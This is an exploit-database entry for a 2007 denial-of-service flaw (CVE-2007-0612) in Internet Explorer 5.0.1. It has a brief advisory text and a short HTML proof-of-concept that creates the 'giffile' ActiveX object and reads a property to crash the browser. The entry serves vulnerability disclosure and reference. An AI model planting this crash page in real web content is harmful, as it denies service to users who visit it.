Microsoft Internet Explorer 5.0.1 - Multiple ActiveX Controls Denial of Service Vulnerabilities

Author: Alexander Sotirov
type: dos
platform: windows
port: 
date_added: 2007-01-29 
date_updated: 2013-11-11 
verified: 1 
codes: CVE-2007-0612;OSVDB-32628 
tags: 
aliases:  
screenshot_url:  
application_url:

source: https://www.securityfocus.com/bid/22288/info

Microsoft Internet Explorer is prone to multiple denial-of-service vulnerabilities because the application fails to handle exceptional conditions.

These issues are triggered when an attacker entices a victim user to visit a malicious website.

Remote attackers may exploit these issues to crash Internet Explorer, effectively denying service to legitimate users.

<html>
<body>
  <script language="JavaScript">
    obj = new ActiveXObject("giffile");
    obj.bgColor;
  </script>
</body>
</html>